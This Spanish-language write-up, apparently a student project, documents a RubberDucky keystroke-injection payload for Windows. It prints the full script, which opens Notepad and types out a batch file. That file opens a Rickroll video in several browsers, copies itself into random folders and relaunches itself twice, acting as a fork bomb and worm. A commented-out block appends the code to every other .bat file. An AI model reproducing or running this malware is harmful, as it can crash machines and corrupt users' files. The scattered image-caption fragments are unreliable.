Este virus es un RubberDucky para máquinas Windows que se aprovecha de las facilidades y atajos al usuario para ejecutar un payload híbrido entre bomba de aplicaciones, bomba fork y gusano que se replica sin que la seguridad de Windows salte.

Le hemos dado 1 minuto antes de ejecutarse para evitar posibles accidentes a la hora de subirlo, y enormes delays para que se pueda ver.

El comportamiento es como sigue:

-Primero minimiza todas las ventanas y abre ejecutar, y mete Notepad

Pantalla de juego de computadora

Descripción generada automáticamente con confianza media

-Posteriormente escribe el payload línea a línea, come se ve en las siguientes línea de código, en el bloc de notas, mediante una serie de Teclea y Enter.

Teclea("start cmd.exe");

Enter();

Teclea("start iexplore.exe -new https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter();

/\* Teclea("start firefox.exe -new-window https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter(); \*/

Teclea("start chrome -new https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter();

Teclea("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");

Enter();

Teclea("msg \* We're no strangers to love...");

Enter();

Teclea("set localNuev=%random%");

Enter();

Teclea("copy programita.bat programitaCopia.bat");

Enter();

Teclea("mkdir %localNuev%");

Enter();

Teclea("move programitaCopia.bat %localNuev%/programita.bat");

Enter();

Teclea("cd %localNuev%");

Enter();

Teclea("start programita.bat");

Enter();

Teclea("cd ..");

Enter();

Teclea("start programita.bat");

Esto se guardaría con el atajo Ctrl + G -> <nombreDelPrograma>.bat y luego le daría a enter

Captura de pantalla de un celular

Descripción generada automáticamente

Captura de pantalla de un celular

Descripción generada automáticamente

Ahora el programa está guardado, pero, ¿Cómo accedemos a él? Pues fácil, desde Notepad ejecutamos el atajo de Guardar Como: Ctrl + Shift + S

Captura de pantalla de un celular

Descripción generada automáticamente

Y es ahora cuando usamos el atajo de Alt + D para abrir la dirección del sistema de archivos, y se da al cmd para ejecutar.

Captura de pantalla de un celular

Descripción generada automáticamente

Captura de pantalla de un celular

Descripción generada automáticamente

Ahora solo nos queda iniciar nuestro propio programa.

Texto

Descripción generada automáticamente

Este programa hace primero la bomba de aplicaciones y del navegador, abriendo la dirección web en múltiples navegadores (el de Firefox.exe puede no funcionar a veces si el Firefox es portable y por eso lo hemos comentado) como nuevas ventanas. El mensaje es solo por distraer, ya que en muchas versiones de Windows se ejecuta directamente sin esperar a dicho mensaje.

start iexplore.exe -new https://www.youtube.com/watch?v=dQw4w9WgXcQ

start chrome -new https://www.youtube.com/watch?v=dQw4w9WgXcQ

start https://www.youtube.com/watch?v=dQw4w9WgXcQ

msg \* We're no strangers to love...

Tras esto, se ejecuta la parte del gusano. Ya que Windows tiene muchos problemas con usar un simple “..” en el comando copy y no deja añadir variables en la ruta de ese comando en particular, pero move sí, procedemos a crear una variable de valor aleatorio, crear un nuevo directorio con el nombre dentro de la variable, creamos una copia de este programa al mismo nivel y luego la movemos dentro.

set localNuev=%random%

Enter();

Teclea("copy programita.bat programitaCopia.bat");

Enter();

Teclea("mkdir %localNuev%");

Enter();

Teclea("move programitaCopia.bat %localNuev%/programita.bat");

Enter();

Por último, llega la parte que hace esto una bomba fork (y de los otros tipos, y lo vuelva un gusano más insidioso), y es ejecutarse dos veces de nuevo, la primera desde el hijo, y la segunda desde sí mismo

Teclea("cd %localNuev%");

Enter();

Teclea("start programita.bat");

Enter();

Teclea("cd ..");

Enter();

Teclea("start programita.bat");

FINALMENTE, UNA PARTE QUE NO QUERÍAMOS AÑADIR PARA NO JOROBAR EL SISTEMA PERMANENTEMENTE, ES QUE SUBE POR LAS CARPETAS Y SE PONGA AL FINAL DE TODOS LOS OTROS ARCHIVOS .BAT (INCLUIDO SÍ MISMO, POR LO QUE EL GUSANO ADEMÁS SE VUELVE ENORME)

/\*POR NO JOROBAR TODO EL SISTEMA\*/

/\*

Teclea("copy programita.bat programitaCopia.bat");

Enter();

Teclea("move programitaCopia.bat ../programita.txt");

Enter();

Teclea("cd ..");

// CODIGO PARASITO -- Ademas hace que cada ejecución de programa cree programas mas y mas grandes

Teclea("dir /b \*.bat >> archiv.txt");

Enter();

Teclea("for /F %%A in (archiv.txt) DO type pro.bat >> %%A");

Enter();

Teclea("start programita.bat");

\*/